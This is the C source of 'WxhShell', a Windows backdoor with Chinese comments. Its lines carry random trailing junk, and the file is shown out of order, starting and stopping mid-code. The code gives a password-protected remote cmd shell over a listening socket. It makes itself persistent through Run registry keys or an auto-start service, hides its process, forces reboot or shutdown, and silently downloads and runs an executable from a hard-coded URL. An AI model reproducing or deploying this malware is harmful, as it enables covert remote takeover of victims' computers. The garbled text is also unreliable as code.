    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R(csJ4F  
    else { B-o"Y'iXs  
    closesocket(wsh); b+{,c@1rd  
    ExitThread(0); \"n&|_SZ\  
    } 7%aB>uA  
    break; :qI myaGQ  
    } py)V7*CgH  
  // 关机  pxP7yJL`  
  case 'd': { ] $5rh8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @%RDw*L(  
    if(Boot(SHUTDOWN)) M5D,YC3<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JBuorc  
    else { 1,4kw~tA  
    closesocket(wsh); ,"&vhgYU  
    ExitThread(0); ] Qj65]  
    } ~fr1O`8  
    break; jLZ+HYyG9  
    } %uQ^mK  
  // 获取shell #B54p@.}  
  case 's': { F> ..eK  
    CmdShell(wsh); WWD\EDnS  
    closesocket(wsh); yfYAA*S!z  
    ExitThread(0); anv_I=  
    break; G3KiU($V  
  } #*?a"  
  // 退出 a}MOhM6T  
  case 'x': { >/Slk {  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7qu hp\  
    CloseIt(wsh); wN;o++6V  
    break; ?"J5~_U.  
    } ^m?h .  
  // 离开 -Ndd6O[ a5  
  case 'q': { { R&F_51)V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e -x{7  
    closesocket(wsh); oU67<jq  
    WSACleanup(); AM\`v'I*6  
    exit(1); 1Hzj-u&N/  
    break; <` HLG2  
        } 'j>Q7M7q{  
  } )0!hw|0|  
  } _bFX(~37z?  
S__+S7]Nr  
  // 提示信息 ^-rb&kW@:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :*Sl\:_X)  
} XVE(p3-  
  } z9E*Mh(NE  
. [*6W.X  
  return; i yMIP~N,$  
} ."cC^og  
ig3uY#  
// shell模块句柄 ,f4Hl%T;  
int CmdShell(SOCKET sock) e>X&[\T  
{ y1FS?hSD0  
STARTUPINFO si; e~jp< 4  
ZeroMemory(&si,sizeof(si)); yG{'hx6H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >|mmJ4T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9qW^@5 m  
PROCESS_INFORMATION ProcessInfo; ^\J/l\n  
char cmdline[]="cmd"; E2 #XXc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eCdMDSFO3  
  return 0; 3<#4  
} ;IE|XR(  
NmVc2V]I  
// 自身启动模式 mam|aRzd  
int StartFromService(void) R 8?Xz5  
{ NgQ {'H[Y  
typedef struct XoL9:s(m~  
{ ;}WdxWw4  
  DWORD ExitStatus; V]<J^m8  
  DWORD PebBaseAddress; @<r  ;>G  
  DWORD AffinityMask; L:j;;9Sp{  
  DWORD BasePriority; Cz8=G;\  
  ULONG UniqueProcessId; AI/xOd!a  
  ULONG InheritedFromUniqueProcessId; 9Iy>oV  
}   PROCESS_BASIC_INFORMATION; h{qB\aK  
l '<gkwX  
PROCNTQSIP NtQueryInformationProcess; 6xvyhg#B  
Em %"] B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;y Wfb|!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ){ArZjG>  
Q3'\Vj,S&  
  HANDLE             hProcess; FlgK:=Fmj  
  PROCESS_BASIC_INFORMATION pbi;  UcKpid  
I~gU3(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7J.alV4`/  
  if(NULL == hInst ) return 0; vSX71  
Sc`W'q^X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Si.3Je[q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d>VerZZU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,FlF.pt  
#iJ+}EW _  
  if (!NtQueryInformationProcess) return 0; ;gP@d`s  
XN'x`%!*3#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9YwK1[G6/  
  if(!hProcess) return 0; -[^aWNqyJ  
wRCGfILw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ej4xW~_  
3 T+#d-\  
  CloseHandle(hProcess); /:~mRf^  
YP5V~-O/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L*"Q5NzB]  
if(hProcess==NULL) return 0; RbM`"wrZ  
vdyLwBz:  
HMODULE hMod; t n>$5}^;  
char procName[255]; 4U( W~O  
unsigned long cbNeeded; UMuRB>ey  
0L9z[2sj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q$Gf9&ZO  
QI0d:7!W1  
  CloseHandle(hProcess); "d^hY}Xx  
i?.MD+f8  
if(strstr(procName,"services")) return 1; // 以服务启动 h%|Jkx!v-t  
-U`]/  
  return 0; // 注册表启动 >j%HVRW  
} gf$5pp-  
KU|dw^Yk  
// 主模块 sL[&y'+  
int StartWxhshell(LPSTR lpCmdLine) /J")S?. [u  
{ WPPz/c|j  
  SOCKET wsl; MdV-;uf  
BOOL val=TRUE; :7 Ro9z8  
  int port=0; $<xa "aN!  
  struct sockaddr_in door; vc0'x4  
-]C3_ve  
  if(wscfg.ws_autoins) Install(); G|*^W;(Z  
HN9!~G  
port=atoi(lpCmdLine); fRS)YE@a:  
p(-f$Q(  
if(port<=0) port=wscfg.ws_port; IxNY%&* `  
n}Pz:  
  WSADATA data; 38ChS.(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %9cu(yc*}  
_ +q.R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Oc8]A=M12  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -rb]<FrL^  
  door.sin_family = AF_INET; BG\g`NK}Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y9kydu#q  
  door.sin_port = htons(port); ckY,6e"6  
( qG | .a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PQ9.aJdw@-  
closesocket(wsl); p~1!O]qLt  
return 1; X458%)G!(K  
} cOkjeHs 5  
%eW[`uyV  
  if(listen(wsl,2) == INVALID_SOCKET) { A2LqBirkl  
closesocket(wsl); ,1J+3ugp&  
return 1; vN'Y);$  
} ?0QoYA@.$  
  Wxhshell(wsl); g?'pb*PR  
  WSACleanup(); (\S/  
%%5K%z,R#  
return 0; +o^b ,!  
zX *+J"x  
} MLf,5f;e  
!|}(tqt  
// 以NT服务方式启动 A14}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hyx%FN=  
{ Pp.qDkT  
DWORD   status = 0; R-CFF  
  DWORD   specificError = 0xfffffff; "N\>v#>C  
}g6:9%ZMu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A& u"NgJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rWzw7T~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1<g,1TR  
  serviceStatus.dwWin32ExitCode     = 0; aMI\gCB/  
  serviceStatus.dwServiceSpecificExitCode = 0; *E lR  
  serviceStatus.dwCheckPoint       = 0; .b'hVOs{  
  serviceStatus.dwWaitHint       = 0; T"ors]eI  
Twi:BI`.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lW}"6@0,  
  if (hServiceStatusHandle==0) return; zOO:`^ m  
]"?+R+  
status = GetLastError(); 2@ 4^ 81  
  if (status!=NO_ERROR) lrQ +G@#  
{ $!F_K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '!Gnr[aR  
    serviceStatus.dwCheckPoint       = 0; qo{2 CYG\+  
    serviceStatus.dwWaitHint       = 0; 29#&q`J  
    serviceStatus.dwWin32ExitCode     = status; PgZeDUPP  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,QW>M$g{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g!%C_AI   
    return; G,,c,  
  } lB_&Lq 8G  
@w:6m&KL9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NgH"jg-  
  serviceStatus.dwCheckPoint       = 0; *p )1c_  
  serviceStatus.dwWaitHint       = 0; DSiI%_[Ud  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^@V$'Bk  
} &d/v/Y  
j n[%@zD}  
// 处理NT服务事件,比如:启动、停止 V$e\84<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :$eg{IXC"  
{ haj\Dm  
switch(fdwControl) G+Vlaa/7  
{ O%:EPdoU  
case SERVICE_CONTROL_STOP: 1%W|>M`  
  serviceStatus.dwWin32ExitCode = 0; h!#!}|Q'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .CXe*Vbd  
  serviceStatus.dwCheckPoint   = 0; Zr!he$8(2  
  serviceStatus.dwWaitHint     = 0; (W.euQy  
  { r[ 2N;U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GWP;; x%  
  } X2ShxD|  
  return; 7|=*z  
case SERVICE_CONTROL_PAUSE: JUBihw4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i^hgs`hvU  
  break; eO<:X|9T  
case SERVICE_CONTROL_CONTINUE: Ya$JX(aUe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;Kb]v\C:  
  break; l+$ e|F  
case SERVICE_CONTROL_INTERROGATE: WR;"^<i9  
  break; LeY!A#j  
}; zD8q(]: A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f#9DU}2m  
} e*[M*u  
t%jB[w&,os  
// 标准应用程序主函数 N"d*pi#h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'W0?XaEk-  
{ RJMrSz$  
?R2`RvQ  
// 获取操作系统版本 gm;6v30e  
OsIsNt=GetOsVer(); ba_T:;';0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Iz;hje4JL  
,XmTKO c  
  // 从命令行安装 NNUm=g^  
  if(strpbrk(lpCmdLine,"iI")) Install(); G[U'-a}I  
Vj.5b0/(  
  // 下载执行文件 O{" A3f  
if(wscfg.ws_downexe) { ((Bu Bu>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nx<q]J uv\  
  WinExec(wscfg.ws_filenam,SW_HIDE);  gB\ a  
} 0>jo+b\D$  
K<`"Sr  
if(!OsIsNt) { |Tz/9t  
// 如果时win9x,隐藏进程并且设置为注册表启动 >icK]W  
HideProc(); G~Oj}rn  
StartWxhshell(lpCmdLine); +*OY%;dQ7@  
} 4qw&G  
else z1oikg:?4  
  if(StartFromService()) i2<dn)K[~-  
  // 以服务方式启动 J?Kgev%  
  StartServiceCtrlDispatcher(DispatchTable); !?Tu pi  
else n1Ag o3NM  
  // 普通方式启动 ii%n:0+zm  
  StartWxhshell(lpCmdLine); v5i?4?-Z  
P<iS7Ys+  
return 0; ^:0NKq\  
} 1zE_ SNx  
(0%0+vY  
?&Y3Fr)%  
|qra.\  
=========================================== IyE9G:fY  
E|2klA^+*  
l\l\T<wa,  
*GsrG*OM*D  
XK:KWqW  
xe)< )y  
" wzAp`Zs2Dm  
7S<Z&1(  
#include <stdio.h> E.Hw|y0_(|  
#include <string.h> Q}!U4!{i|p  
#include <windows.h> -Kt36:|  
#include <winsock2.h> _tE$a3`  
#include <winsvc.h> mea]m)P  
#include <urlmon.h> Gq5)>'D?  
>M7e'}0 ;  
#pragma comment (lib, "Ws2_32.lib") u(KeS`  
#pragma comment (lib, "urlmon.lib") &Vi"m!Bf  
MS Ui_|7  
#define MAX_USER   100 // 最大客户端连接数 ZgO7W]Z4  
#define BUF_SOCK   200 // sock buffer -0| '{  
#define KEY_BUFF   255 // 输入 buffer ;FYiXK%  
7M: 0%n$  
#define REBOOT     0   // 重启 L4SvE^2+  
#define SHUTDOWN   1   // 关机 DBi3 j  
CORNN8=k  
#define DEF_PORT   5000 // 监听端口 !ViHC}:   
DvnK_Q!  
#define REG_LEN     16   // 注册表键长度 kKVq,41'  
#define SVC_LEN     80   // NT服务名长度 zqAK|jbL  
;2RCgX!'%  
// 从dll定义API Nzc1)t=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z2 B59,I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]4@z.1Mr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Dbr(Wg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); st36xS  
/IVw}:G  
// wxhshell配置信息 fw^mjD  
struct WSCFG { j#%*@]>Tg  
  int ws_port;         // 监听端口 g#=^U`y  
  char ws_passstr[REG_LEN]; // 口令 R{.wAH(  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ki-CJ y  
  char ws_regname[REG_LEN]; // 注册表键名 57+^T}/>  
  char ws_svcname[REG_LEN]; // 服务名 ?,|_<'$4T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6X5m1+ Oi^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 De|@}@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <u44YvLBm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C78d29  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^sH1YE}0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =1n>vUW+J  
&eY$(o-Hw  
}; kYs2AzS{d  
hmkcW r`  
// default Wxhshell configuration <2y~7h:  
struct WSCFG wscfg={DEF_PORT, j^Zp BNL  
    "xuhuanlingzhe", rjU $*+  
    1, $y=sT({VVe  
    "Wxhshell", X4i$,$C  
    "Wxhshell", N|q:wyS|  
            "WxhShell Service", vzaxi;S<  
    "Wrsky Windows CmdShell Service", fE)+9!  
    "Please Input Your Password: ", s4SR6hBO  
  1, ]8YHA}P  
  "http://www.wrsky.com/wxhshell.exe", #.}Su+XF  
  "Wxhshell.exe" R|t.wawCo  
    }; 5n.4>yOY  
D]b5*_CT  
// 消息定义模块 0*:]eM};P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1`_Mc ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -<&"geJA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aI|)m8 >)X  
char *msg_ws_ext="\n\rExit."; )." zBc#  
char *msg_ws_end="\n\rQuit."; ika{>hbH  
char *msg_ws_boot="\n\rReboot..."; >~J_9'gX6  
char *msg_ws_poff="\n\rShutdown..."; c<JJuG  
char *msg_ws_down="\n\rSave to "; ycw'>W3.*  
Re<X~j5]  
char *msg_ws_err="\n\rErr!"; V6wYJ$]  
char *msg_ws_ok="\n\rOK!"; $K<jmEC@<  
$yaE!.Kc  
char ExeFile[MAX_PATH]; r~nrP=-%  
int nUser = 0; $.kIB+K  
HANDLE handles[MAX_USER]; T:cSv @G  
int OsIsNt; 9L:v$4{LU  
;?inf`t  
SERVICE_STATUS       serviceStatus; |c8p{)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jopC\Z  
0; V{yh  
// 函数声明 BY,%+>bc)  
int Install(void); 1[3"|  
int Uninstall(void); vR1%&(f{  
int DownloadFile(char *sURL, SOCKET wsh); mMT7`r;l  
int Boot(int flag); -lSm:O@'  
void HideProc(void); 9'//_ A,  
int GetOsVer(void); `-ENKr]  
int Wxhshell(SOCKET wsl); lu-VBVwR  
void TalkWithClient(void *cs); 4KybN  
int CmdShell(SOCKET sock); f<|8NQ2y.  
int StartFromService(void); # FaR?L![Y  
int StartWxhshell(LPSTR lpCmdLine); !;CY @=  
-oF4mi8S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $ Qg81mu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mq'q@@:c  
6t]oSxN  
// 数据结构和表定义 P'ZWAxd  
SERVICE_TABLE_ENTRY DispatchTable[] = aKCCFHq t!  
{ WlZ[9,:p1  
{wscfg.ws_svcname, NTServiceMain},  ^r ;}6  
{NULL, NULL} |7%$+g  
}; Y!&dj95y  
>47,Hq:2  
// 自我安装 uX}M0W  
int Install(void) x6Z$lhZ  
{ %q>gwq A  
  char svExeFile[MAX_PATH]; kV6>O C&^  
  HKEY key; wK#UFOp  
  strcpy(svExeFile,ExeFile); 5W<BEcV\  
zKV {JUpG  
// 如果是win9x系统,修改注册表设为自启动 =t)eT0  
if(!OsIsNt) { =Z-.4\3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i-E&Y*\^9H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )J#@L*  
  RegCloseKey(key); 62vz 'b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y ImriCT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sMO3eNLn  
  RegCloseKey(key); _\o +9X!  
  return 0; @Gn9x(?J  
    } B)^]V<l(w  
  } $a5K  
} U7x}p^B9\N  
else { H`@x5RjS   
miN(a; Q2P  
// 如果是NT以上系统,安装为系统服务 i@B5B2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a+]=3o  
if (schSCManager!=0) Ii|<:BW  
{ }P}l4k1W  
  SC_HANDLE schService = CreateService p3x(:=   
  ( ;yk@`<  
  schSCManager, TR)' I  
  wscfg.ws_svcname, 1YnDho;~  
  wscfg.ws_svcdisp, @~gz-l^$  
  SERVICE_ALL_ACCESS, C5sV-UMR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )SDGj;j+  
  SERVICE_AUTO_START, 3U:0,-j"  
  SERVICE_ERROR_NORMAL, [BV{=;iD  
  svExeFile, SxT:k,ji  
  NULL, g>f(5  
  NULL, ;utjW1y  
  NULL, (\R"v^  
  NULL, dd4yS}yBlR  
  NULL PS=crU@"H  
  ); ,sLV6DM  
  if (schService!=0) VJr?` eY4  
  { A0[flIl  
  CloseServiceHandle(schService); Y}f%/vus  
  CloseServiceHandle(schSCManager); U_I'Nz!^ t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); = )(;  
  strcat(svExeFile,wscfg.ws_svcname); FP9ZOoog  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]i$CE|~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J::SFu=  
  RegCloseKey(key); q(uu;l[  
  return 0; `C!Pe84(  
    } @69q// #B  
  } T@Q.m.iV4  
  CloseServiceHandle(schSCManager); $V\xN(Ed  
} T\c dtjk  
} , H[o.r=  
VJ1 `&  
return 1; u8[X\f  
} 9Xm"kVqd/  
|`O7> (h  
// 自我卸载 F` ?pZ  
int Uninstall(void) V@Po}  
{ N$=<6eQm  
  HKEY key; fYCAwS{  
Z)?"pBv'  
if(!OsIsNt) { AMO{?:8Y;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TUk1h\.q  
  RegDeleteValue(key,wscfg.ws_regname); e@Mm4&f[p  
  RegCloseKey(key); j f^fj-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Sw7!h.ut  
  RegDeleteValue(key,wscfg.ws_regname); f'%}{l: ss  
  RegCloseKey(key); `,7BU??+u  
  return 0; cCj}{=U  
  } 8H{@0_M  
} m$O@+;>l  
} }D|"$*  
else { u(REEc~nj  
+*|E%pq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LL,~&5{  
if (schSCManager!=0) v=X\@27= ?  
{ oHa6fi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a!>AhOk.  
  if (schService!=0) 8\ :T*u3  
  { "kN5AeRg  
  if(DeleteService(schService)!=0) { Y}Qu-fm  
  CloseServiceHandle(schService); }S42.f.p  
  CloseServiceHandle(schSCManager); 7v\OS-  
  return 0; khEHMvVH  
  } *?i~AXJm  
  CloseServiceHandle(schService); n ~ =]/  
  } n$~RgCf  
  CloseServiceHandle(schSCManager); 12rr:(#%s  
} @w|~:>/g  
} k'u2a  
5$O@+W!?@  
return 1; (2a~gQGD  
} "2Ye\#BU6  
D%BV83S   
// 从指定url下载文件 fC81(5   
int DownloadFile(char *sURL, SOCKET wsh) 5SK.R;mn  
{ -$mzzYH  
  HRESULT hr; Xt$?Kx_,  
char seps[]= "/"; p_mP'  
char *token; UHxXa*HyI  
char *file; 7W 4[1  
char myURL[MAX_PATH]; sM-k,0z  
char myFILE[MAX_PATH]; ,>e<mphM  
~>qcV=F^d,  
strcpy(myURL,sURL); X+hyUz(%R  
  token=strtok(myURL,seps); Ejn19{  
  while(token!=NULL) *VL-b8'A<  
  { CaK 0o*D  
    file=token; h],_1!0  
  token=strtok(NULL,seps); X}S<MA`  
  } 6rR}qV,+{  
-1U]@s  
GetCurrentDirectory(MAX_PATH,myFILE); 1 "4AS_Q  
strcat(myFILE, "\\"); 2.2 s>?\  
strcat(myFILE, file); |qZ4h7wL  
  send(wsh,myFILE,strlen(myFILE),0); Aw >DZ2  
send(wsh,"...",3,0); !$&K~>`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U?.VY@  
  if(hr==S_OK) '{ C=vW  
return 0; `qUmOFl  
else jagsV'o2  
return 1; V}Oxz04  
/J5wwQ (:  
} LnM+,cBz  
X4 xnr^  
// 系统电源模块 `@eQL[Z9x  
int Boot(int flag) [x9eamJ,H  
{ ky[FNgQ3n  
  HANDLE hToken; ^gD&NbP8  
  TOKEN_PRIVILEGES tkp; wl}Q|4rZ  
esFBWJ  
  if(OsIsNt) { EK[~lIXg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "-\I?k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .`iOWCS  
    tkp.PrivilegeCount = 1; [_CIN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w 8T#~Dc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .hn "NXy  
if(flag==REBOOT) { [9*+s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @_0XK)pW  
  return 0; (i&:=Bfn)  
} &Q 3!ty  
else { "y#$| TMB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l8jm7@.E  
  return 0; 0riTav8  
} _sx]`3/86  
  } $Z$BF  
  else { Br;1kQ%eC  
if(flag==REBOOT) { EtKy?]i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M/>^_zG  
  return 0; KN_3]-+B  
} U H `=  
else { a$"3T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  w8$8P  
  return 0; 05$CIS>!  
} z GA1  
} Np+<)q2  
{0QNqjue  
return 1; #8rLB(  
} 4Bs '5@  
kp LDK81I  
// win9x进程隐藏模块 8)/d8@  
void HideProc(void) J?LetyDNr]  
{ oyK'h9Wt1  
<U$x')W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0.=dOz r  
  if ( hKernel != NULL ) N-y[2]J90  
  { "V}WV!w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |!,;IoZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &r do Mc;  
    FreeLibrary(hKernel); X8"4)IZ3  
  } Z`T]jm-3  
2old})CLJ  
return; ^e1@o\]  
} /&_$+Iun  
;M1#M:  
// 获取操作系统版本 +9<"Y6  
int GetOsVer(void) $mgW|TBXCQ  
{ ~5q1zr)E  
  OSVERSIONINFO winfo; yX0n yhq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T1_O~<  
  GetVersionEx(&winfo); 4hz T4!15  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P XKEqcQR  
  return 1; l1l=52r   
  else jEVDz  
  return 0; of659~EIW  
} m %]1~b}"  
o#fr5>h-w  
// 客户端句柄模块 TkBHlTa"=  
int Wxhshell(SOCKET wsl) x8 _f/2&  
{ L 4V,y>  
  SOCKET wsh; ose(#n40  
  struct sockaddr_in client; nm Y_)s  
  DWORD myID; L`NY^  
aS=-9P;v  
  while(nUser<MAX_USER) < KG q  
{ E2K{9@i  
  int nSize=sizeof(client); _wH>h$E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VkdGGY  
  if(wsh==INVALID_SOCKET) return 1; Vdd HK  
/W9(}Id6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R-LMV  
if(handles[nUser]==0) ( RO-~-  
  closesocket(wsh); 70Jx[3vr  
else & %A&&XT9  
  nUser++; !mHMFwvS  
  } GZH{"_$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4PjC[A*  
lonV_Xx  
  return 0; : e1kpQ  
} V^Y'!w\LGI  
,.9k)\/V  
// 关闭 socket B X\/Am11  
void CloseIt(SOCKET wsh) ~I6N6T Z  
{ 6~c#G{kc  
closesocket(wsh); ,_iq$I;  
nUser--; `OFW^Esc  
ExitThread(0); 17$'r^t,S  
} Co>e<be%S  
M8nfbc^  
// 客户端请求句柄 VKV :U60  
void TalkWithClient(void *cs) f7YBhF  
{ h4Wt oE>i  
d|?Xo\+  
  SOCKET wsh=(SOCKET)cs; UodBK7y  
  char pwd[SVC_LEN]; v%:VV*MxF  
  char cmd[KEY_BUFF]; V'hb 4}@  
char chr[1]; $vrkxn  
int i,j; qG@YNc  
-M/j&<;LW  
  while (nUser < MAX_USER) { TyDh\f!w  
=PU($  
if(wscfg.ws_passstr) { qv& Bai[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *5IB@^<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vd?Bk_d9k,  
  //ZeroMemory(pwd,KEY_BUFF); <O5WY37"q  
      i=0; mG"xo^1_H  
  while(i<SVC_LEN) { w4(L@1  
FA%_jM  
  // 设置超时 E\|nP~;~F9  
  fd_set FdRead; +F-EgF+J  
  struct timeval TimeOut; a`L:E'|B9  
  FD_ZERO(&FdRead); m9vX8;.  
  FD_SET(wsh,&FdRead); eU\xOTl~<{  
  TimeOut.tv_sec=8; _ f'v>"K  
  TimeOut.tv_usec=0; JIhEkY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y];-D>jk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C];P yQS  
wBcoh~ (y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [\AOr`7  
  pwd=chr[0];  0j_kK  
  if(chr[0]==0xd || chr[0]==0xa) { c/Xg ARCO  
  pwd=0; rtS' 90`  
  break; 7:,f|>  
  } s$).Z(6  
  i++; =:aJZ[UU<2  
    } w lH\w?  
T'9ZR,{F  
  // 如果是非法用户,关闭 socket -Arsmo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XeX"IhgS>E  
} jUEgu  
ki?h7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zcKQD)]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q_U.J0  
Dn6U8s&  
while(1) { l%T4:p4e  
V:$+$"|  
  ZeroMemory(cmd,KEY_BUFF); RN[I%^$"  
|~r-VV(=  
      // 自动支持客户端 telnet标准   T5 (|{-  
  j=0; tLBtE!J$[  
  while(j<KEY_BUFF) { # obRr#8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z%OKv[/N  
  cmd[j]=chr[0]; @^xtxtjzux  
  if(chr[0]==0xa || chr[0]==0xd) { 1>"-!ADm  
  cmd[j]=0; !bP%\)5  
  break; "!~o  
  } 7~SwNt,  
  j++; )V\@N*L`ik  
    } TWzLJ63*  
Pg%9hejf3  
  // 下载文件 ? 3=G'Ip5n  
  if(strstr(cmd,"http://")) { %WgN+A0  
